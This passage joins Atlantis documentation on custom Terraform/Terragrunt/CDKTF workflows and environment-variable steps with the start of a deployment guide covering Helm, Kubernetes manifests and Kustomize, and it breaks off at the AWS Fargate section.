Server Repo Config Use `pre_workflow_hooks` `atlantis server --repo-config="repos.yaml"` ```yaml # repos.yaml repos: - id: /.*cdktf.*/ pre_workflow_hooks: - run: npm i && cdktf get && cdktf synth --output ci-cdktf.out ``` **Note:** don't use the default `cdktf.out` directory that CDKTF uses, as this should be in the `.gitignore` list of the repo, so that locally generated files are not checked in. #### Repo Structure This is the git repo structure after running `cdktf synth`. The `cdk.tf.json` files contain the Terraform configuration that atlantis can run. ```bash $ tree --gitignore . ├── cdktf.json ├── ci-cdktf.out │ ├── manifest.json │ └── stacks │ └── eks │ └── cdk.tf.json ``` #### Workflow 1. Container orchestrator (k8s/fargate/ecs/etc) uses the custom docker image of atlantis with `cdktf` installed with the `--autoplan-file-list` to trigger on `cdk.tf.json` files and `--include-git-untracked-files` set to include the CDKTF dynamically generated Terraform files in the Atlantis plan. 1. PR branch is pushed up containing `cdktf` code changes. 1. Atlantis checks out the branch in the repo. 1. Atlantis runs the `npm i && cdktf get && cdktf synth` command in the repo root as a step in `pre_workflow_hooks`, generating the `cdk.tf.json` Terraform files. 1. Atlantis detects the `cdk.tf.json` untracked files in a number of directories. 1. Atlantis then runs `terraform` workflows in the respective directories as usual. ### Terragrunt Atlantis supports running custom commands in place of the default Atlantis commands. We can use this functionality to enable [Terragrunt](https://github.com/gruntwork-io/terragrunt). You can either use your repo's `atlantis.yaml` file or the Atlantis server's `repos.yaml` file. Given a directory structure: ```plain . └── live    ├── prod    │   └── terragrunt.hcl    └── staging    └── terragrunt.hcl ``` If using the server `repos.yaml` file, you would use the following config: ```yaml # repos.yaml # Specify TERRAGRUNT_TFPATH environment variable to accommodate setting --default-tf-version # Generate json plan via terragrunt for policy checks repos: - id: "/.*/" workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: # Allow for targeted plans/applies as not supported for Terraform wrappers by default command: terragrunt plan -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /g' | tr -d '\\') -no-color -out $PLANFILE output: hide - run: | terragrunt show $PLANFILE apply: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply -input=false $PLANFILE import: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${DEFAULT_TERRAFORM_VERSION}"' - env: name: TF_VAR_author command: 'git show -s --format="%ae" $HEAD_COMMIT' # Allow for imports as not supported for Terraform wrappers by default - run: terragrunt import -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') state_rm: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${DEFAULT_TERRAFORM_VERSION}"' # Allow for state removals as not supported for Terraform wrappers by default - run: terragrunt state rm $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') ``` If using the repo's `atlantis.yaml` file you would use the following config: ```yaml version: 3 projects: - dir: live/staging workflow: terragrunt - dir: live/prod workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: command: terragrunt plan -input=false -out=$PLANFILE output: strip_refreshing apply: steps: - env: name: TERRAGRUNT_TFPATH command: 'echo "terraform${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply $PLANFILE ``` **NOTE:** If using the repo's `atlantis.yaml` file, you will need to specify each directory that is a Terragrunt project. ::: warning Atlantis will need to have the `terragrunt` binary in its PATH. If you're using Docker you can build your own image, see [Customization](deployment.md#customization). ::: If you don't want to create/manage the repo's `atlantis.yaml` file yourself, you can use the tool [terragrunt-atlantis-config](https://github.com/transcend-io/terragrunt-atlantis-config) to generate it. The `terragrunt-atlantis-config` tool is a community project and not maintained by the Atlantis team. ### Running custom commands Atlantis supports running completely custom commands. In this example, we want to run a script after every `apply`: ```yaml # repos.yaml or atlantis.yaml workflows: myworkflow: apply: steps: - apply - run: ./my-custom-script.sh ``` ::: tip Notes * We don't need to write a `plan` key under `myworkflow`. If `plan` isn't set, Atlantis will use the default plan workflow which is what we want in this case. * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. ::: ### Custom Backend Config If you need to specify the `-backend-config` flag to `terraform init` you'll need to use a custom workflow. In this example, we're using custom backend files to configure two remote states, one for each environment. We're then using `.tfvars` files to load different variables for each environment. ```yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan: extra_args: [-var-file=staging.tfvars] production: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=production.backend.tfvars] - plan: extra_args: [-var-file=production.tfvars] ``` ::: warning NOTE We have to use a custom `run` step to `rm -rf .terraform` because otherwise Terraform will complain in-between commands since the backend config has changed. ::: You would then reference the workflows in your repo-level `atlantis.yaml`: ```yaml version: 3 projects: - name: staging dir: . workflow: staging - name: production dir: . workflow: production ``` ### Add directory and repo context for aws resources using default tags This is only available in AWS provider version [5.62.0](https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0) and higher. This configuration will create the following tags * `repository` equal to `github.com//` which can be changed for gitlab or other VCS * `repository_dir` equal to the relative directory Other default variables can be added such as for workspace. See below for more available environment variables. ```yaml workflows: terraform: plan: steps: # These env vars TF_AWS_DEFAULT_TAGS_ will work for aws provider 5.62.0+ # https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0 - &env_default_tags_repository env: name: TF_AWS_DEFAULT_TAGS_repository command: 'echo "github.com/${BASE_REPO_OWNER}/${BASE_REPO_NAME}"' - &env_default_tags_repository_dir env: name: TF_AWS_DEFAULT_TAGS_repository_dir command: 'echo "${REPO_REL_DIR}"' apply: steps: - *env_default_tags_repository - *env_default_tags_repository_dir ``` NOTE: * Appending tags to every resource may regenerate data sources such as `aws_iam_policy_document` which will cause many resources to be modified. See known issue in aws provider [#29421](https://github.com/hashicorp/terraform-provider-aws/issues/29421). * To run a local plan outside of terraform, the same environment variables will need to be created. ```bash tfvars () { export terraform_repository=$(git config --get remote.origin.url | sed 's,^git@,,g' | tr ':' '/' | sed 's,.git$,,g') export terraform_repository_dir=$(git rev-parse --show-prefix | sed 's,\/$,,g') } export TF_AWS_DEFAULT_TAGS_repository=$terraform_repository export TF_AWS_DEFAULT_TAGS_repository_dir=$terraform_repository_dir tfvars terraform plan ``` If a colon is used in the tag name, use the `env` command instead of `export`. ```bash tfvars env \ TF_AWS_DEFAULT_TAGS_org:repository=$terraform_repository \ TF_AWS_DEFAULT_TAGS_org:repository_dir=$terraform_repository_dir \ terraform plan ``` ## Reference ### Workflow ```yaml plan: apply: import: state_rm: ``` | Key | Type | Default | Required | Description | |----------|-----------------|---------------------------|----------|---------------------------------------| | plan | [Stage](#stage) | `steps: [init, plan]` | no | How to plan for this project. | | apply | [Stage](#stage) | `steps: [apply]` | no | How to apply for this project. | | import | [Stage](#stage) | `steps: [init, import]` | no | How to import for this project. | | state_rm | [Stage](#stage) | `steps: [init, state_rm]` | no | How to run state rm for this project. | ### Stage ```yaml steps: - run: custom-command - init - plan: extra_args: [-lock=false] ``` | Key | Type | Default | Required | Description | |-------|----------------------|---------|----------|-----------------------------------------------------------------------------------------------| | steps | array[[Step](#step)] | `[]` | no | List of steps for this stage. If the steps key is empty, no steps will be run for this stage. | ### Step #### Built-In Commands Steps can be a single string for a built-in command. ```yaml - init - plan - apply - import - state_rm ``` | Key | Type | Default | Required | Description | |---------------------------------|--------|---------|----------|------------------------------------------------------------------------------------------------------------------------------| | init/plan/apply/import/state_rm | string | none | no | Use a built-in command without additional configuration. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported | #### Built-In Command With Extra Args A map from string to `extra_args` for a built-in command with extra arguments. ```yaml - init: extra_args: [arg1, arg2] - plan: extra_args: [arg1, arg2] - apply: extra_args: [arg1, arg2] - import: extra_args: [arg1, arg2] - state_rm: extra_args: [arg1, arg2] ``` | Key | Type | Default | Required | Description | |---------------------------------|------------------------------------|---------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | init/plan/apply/import/state_rm | map\[`extra_args` -> array\[string\]\] | none | no | Use a built-in command and append `extra_args`. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported as keys and only `extra_args` is supported as a value | #### Custom `run` Command A custom command can be written in 2 ways Compact: ```yaml - run: custom-command arg1 arg2 ``` | Key | Type | Default | Required | Description | |-----|--------|---------|----------|----------------------| | run | string | none | no | Run a custom command | Full example: ```yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: show ``` Full example, filtering output and masking matching text (`mySecret: "foo"` -> `mySecret: ""`): ```yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: - strip_refreshing - filter_regex: "((?i)secret:\\s\")[^\"]*" ``` | Key | Type | Default | Required | Description | |-----|-----|-----|-----|-----| | run | map\[string -> string\] | none | no | Run a custom command | | run.command | string | none | yes | Shell command to run | | run.shell | string | "sh" | no | Name of the shell to use for command execution | | run.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | run.output | string or []string or []any | "show" | no | How to post-process the output of this command when posted in the PR comment. The options are:
*`show` - preserve the full output
* `hide` - hide output from comment (still visible in the real-time streaming output)
`strip_refreshing` - hide all output up until and including the last line containing "Refreshing...". This matches the behavior of the built-in `plan` command
`filter_regex: ""` - masks sensitive text in Atlantis comments by replacing regex matches with <redacted>. Can be used multiple times (processed in order). Only filters inline comments - full plan links still show unfiltered results. | #### Native Environment Variables * `run` steps in the main `workflow` are executed with the following environment variables: note: these variables are not available to `pre` or `post` workflows * `WORKSPACE` - The Terraform workspace used for this project, ex. `default`. NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet. * `ATLANTIS_TERRAFORM_VERSION` - The version of Terraform used for this project, ex. `0.11.0`. * `DIR` - Absolute path to the current directory. * `PLANFILE` - Absolute path to the location where Atlantis expects the plan to either be generated (by plan) or already exist (if running apply). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`. * `SHOWFILE` - Absolute path to the location where Atlantis expects the plan in json format to either be generated (by show) or already exist (if running policy checks). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform show -json $PLANFILE > $SHOWFILE`. * `POLICYCHECKFILE` - Absolute path to the location of policy check output if Atlantis runs policy checks. See [policy checking](policy-checking.md#data-for-custom-run-steps) for information of data structure. * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PROJECT_NAME` - Name of the project configured in `atlantis.yaml`. If no project name is configured this will be an empty string. * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `REPO_REL_DIR` - The relative path of the project in the repository. For example if your project is in `dir1/dir2/` then this will be set to `"dir1/dir2"`. If your project is at the root this will be `"."`. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `ATLANTIS_PR_APPROVED` - "true" if the PR is approved * `ATLANTIS_PR_MERGEABLE` - "true" if the PR is mergeable * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. * If a workflow step returns a non-zero exit code, the workflow will stop. ::: #### Environment Variable `env` Command The `env` command allows you to set environment variables that will be available to all steps defined **below** the `env` step. You can set hard coded values via the `value` key, or set dynamic values via the `command` key which allows you to run any command and uses the output as the environment variable value. ```yaml - env: name: ENV_NAME value: hard-coded-value - env: name: ENV_NAME_2 command: 'echo "dynamic-value-$(date)"' - env: name: ENV_NAME_3 command: echo ${DIR%$REPO_REL_DIR} shell: bash shellArgs: - "--verbose" - "-c" ``` | Key | Type | Default | Required | Description | |-----------------|-----------------------|---------|----------|-----------------------------------------------------------------------------------------------------------------| | env | map\[string -> string\] | none | no | Set environment variables for subsequent steps | | env.name | string | none | yes | Name of the environment variable | | env.value | string | none | no | Set the value of the environment variable to a hard-coded string. Cannot be set at the same time as `command` | | env.command | string | none | no | Set the value of the environment variable to the output of a command. Cannot be set at the same time as `value` | | env.shell | string | "sh" | no | Name of the shell to use for command execution. Cannot be set without `command` | | env.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | ::: tip Notes * `env` `command`'s can use any of the built-in environment variables available to `run` commands. ::: #### Multiple Environment Variables `multienv` Command The `multienv` command allows you to set dynamic number of multiple environment variables that will be available to all steps defined **below** the `multienv` step. Compact: ```yaml - multienv: custom-command ``` | Key | Type | Default | Required | Description | |----------|--------|---------|----------|------------------------------------------------------------| | multienv | string | none | no | Run a custom command and add printed environment variables | Full: ```yaml - multienv: command: custom-command shell: bash shellArgs: - "--verbose" - "-c" output: show ``` | Key | Type | Default | Required | Description | |--------------------|-----------------------|---------|----------|-------------------------------------------------------------------------------------| | multienv | map[string -> string] | none | no | Run a custom command and add printed environment variables | | multienv.command | string | none | yes | Name of the custom script to run | | multienv.shell | string | "sh" | no | Name of the shell to use for command execution | | multienv.shellArgs | string or []string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | multienv.output | string | "show" | no | Setting output to "hide" will suppress the message about added environment variables | The output of the command execution must have the following format: `EnvVar1Name=value1,EnvVar2Name=value2,EnvVar3Name=value3` The name-value pairs in the output are added as environment variables if command execution is successful, otherwise the workflow execution is interrupted with an error and the errorMessage is returned. ::: tip Notes * `multienv` `command`'s can use any of the built-in environment variables available to `run` commands. ::: ================================================ FILE: runatlantis.io/docs/deployment.md ================================================ # Deployment This page covers getting Atlantis up and running in your infrastructure. ::: tip Prerequisites * You have created [access credentials](access-credentials.md) for your Atlantis user * You have created a [webhook secret](webhook-secrets.md) ::: ## Architecture Overview ### Runtime Atlantis is a simple [Go](https://golang.org/) app. It receives webhooks from your Git host and executes Terraform commands locally. There is an official Atlantis [Docker image](https://ghcr.io/runatlantis/atlantis). ### Routing Atlantis and your Git host need to be able to route and communicate with one another. Your Git host needs to be able to send webhooks to Atlantis and Atlantis needs to be able to make API calls to your Git host. If you're using a public Git host like github.com, gitlab.com, gitea.com, bitbucket.org, or dev.azure.com then you'll need to expose Atlantis to the internet. If you're using a private Git host like GitHub Enterprise, GitLab Enterprise, self-hosted Gitea or Bitbucket Server, then Atlantis needs to be routable from the private host and Atlantis will need to be able to route to the private host. ### Data Atlantis has no external database. Atlantis stores Terraform plan files on disk. If Atlantis loses that data in between a `plan` and `apply` cycle, then users will have to re-run `plan`. Because of this, you may want to provision a persistent disk for Atlantis. ## Deployment Pick your deployment type: * [Kubernetes Helm Chart](#kubernetes-helm-chart) * [Kubernetes Manifests](#kubernetes-manifests) * [Kubernetes Kustomize](#kubernetes-kustomize) * [OpenShift](#openshift) * [AWS Fargate](#aws-fargate) * [Google Kubernetes Engine (GKE)](#google-kubernetes-engine-gke) * [Docker](#docker) * [Roll Your Own](#roll-your-own) ### Kubernetes Helm Chart Atlantis has an [official Helm chart](https://github.com/runatlantis/helm-charts/tree/main/charts/atlantis) To install: 1. Add the runatlantis helm chart repository to helm ```bash helm repo add runatlantis https://runatlantis.github.io/helm-charts ``` 1. `cd` into a directory where you're going to configure your Atlantis Helm chart 1. Create a `values.yaml` file by running ```bash helm inspect values runatlantis/atlantis > values.yaml ``` 1. Edit `values.yaml` and add your access credentials and webhook secret ```yaml # for example github: user: foo token: bar secret: baz ``` 1. Edit `values.yaml` and set your `orgAllowlist` (see [Repo Allowlist](server-configuration.md#repo-allowlist) for more information) ```yaml orgAllowlist: github.com/runatlantis/* ``` **Note**: For helm chart version < `4.0.2`, `orgWhitelist` must be used instead. 1. Configure any other variables (see [Atlantis Helm Chart: Customization](https://github.com/runatlantis/helm-charts#customization) for documentation) 1. Run ```sh helm install atlantis runatlantis/atlantis -f values.yaml ``` If you are using helm v2, run: ```sh helm install -f values.yaml runatlantis/atlantis ``` Atlantis should be up and running in minutes! See [Next Steps](#next-steps) for what to do next. ### Kubernetes Manifests If you'd like to use a raw Kubernetes manifest, we offer either a [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or a [Statefulset](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) with persistent storage. StatefulSet is recommended because Atlantis stores its data on disk and so if your Pod dies or you upgrade Atlantis, you won't lose plans that haven't been applied. If you do lose that data, you just need to run `atlantis plan` again so it's not the end of the world. Regardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token: ```bash echo -n "yourtoken" > token echo -n "yoursecret" > webhook-secret kubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret ``` Next, edit the manifests below as follows: 1. Replace `` in `image: ghcr.io/runatlantis/atlantis:` with the most recent version from [GitHub: Atlantis latest release](https://github.com/runatlantis/atlantis/releases/latest). * NOTE: You never want to run with `:latest` because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end up upgrading Atlantis by accident! 2. Replace `value: github.com/yourorg/*` under `name: ATLANTIS_REPO_ALLOWLIST` with the allowlist pattern for your Terraform repos. See [--repo-allowlist](server-configuration.md#repo-allowlist) for more details. 3. If you're using GitHub: 1. Replace `` with the username of your Atlantis GitHub user without the `@`. 2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 4. If you're using GitLab: 1. Replace `` with the username of your Atlantis GitLab user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 5. If you're using Gitea: 1. Replace `` with the username of your Atlantis Gitea user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 6. If you're using Bitbucket: 1. Replace `` with the username of your Atlantis Bitbucket user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 7. If you're using Azure DevOps: 1. Replace `` with the username of your Atlantis Azure DevOps user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_BITBUCKET_*` environment variables. #### StatefulSet Manifest
Show... ```yaml apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: serviceName: atlantis replicas: 1 updateStrategy: type: RollingUpdate rollingUpdate: partition: 0 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_BITBUCKET_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_DATA_DIR value: /atlantis - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. volumeMounts: - name: atlantis-data mountPath: /atlantis ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP volumeClaimTemplates: - metadata: name: atlantis-data spec: accessModes: ["ReadWriteOnce"] # Volume should not be shared by multiple nodes. resources: requests: # The biggest thing Atlantis stores is the Git repo when it checks it out. # It deletes the repo after the pull request is merged. storage: 5Gi --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis ```
#### Deployment Manifest
Show... ```yaml apiVersion: apps/v1 kind: Deployment metadata: name: atlantis labels: app.kubernetes.io/name: atlantis spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis ```
#### Routing and SSL The manifests above create a Kubernetes `Service` of `type: ClusterIP` which isn't accessible outside your cluster. Depending on how you're doing routing into Kubernetes, you may want to use a Service of `type: LoadBalancer` so that Atlantis is accessible to GitHub/GitLab and your internal users. If you want to add SSL you can use something like [cert-manager](https://github.com/cert-manager/cert-manager) to generate SSL certs and mount them into the Pod. Then set the `ATLANTIS_SSL_CERT_FILE` and `ATLANTIS_SSL_KEY_FILE` environment variables to enable SSL. You could also set up SSL at your LoadBalancer. **You're done! See [Next Steps](#next-steps) for what to do next.** ### Kubernetes Kustomize A `kustomization.yaml` file is provided in the directory `kustomize/`, so you may use this repository as a remote base for deploying Atlantis with Kustomize. You will need to provide a secret (with the default name of `atlantis-vcs`) to configure Atlantis with access credentials for your remote repositories. Example: ```yaml bases: - github.com/runatlantis/atlantis//kustomize resources: - secrets.yaml ``` **Important:** You must ensure you patch the provided manifests with the correct environment variables for your installation. You can create inline patches from your `kustomization.yaml` file such as below: ```yaml patchesStrategicMerge: - |- apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: template: spec: ... ``` #### Required ```yaml ... containers: - name: atlantis env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ``` #### GitLab ```yaml ... containers: - name: atlantis env: - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ``` #### Gitea ```yaml containers: - name: atlantis env: - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ``` #### GitHub ```yaml ... containers: - name: atlantis env: - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ``` #### BitBucket ```yaml ... containers: - name: atlantis env: - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ``` ### OpenShift The Helm chart and Kubernetes manifests above are compatible with OpenShift, however you need to run with an additional environment variable: `HOME=/home/atlantis`. This is required because OpenShift runs Docker images with random user id's that use `/` as their home directory. ### AWS Fargate If you'd like to run Atlantis on [AWS 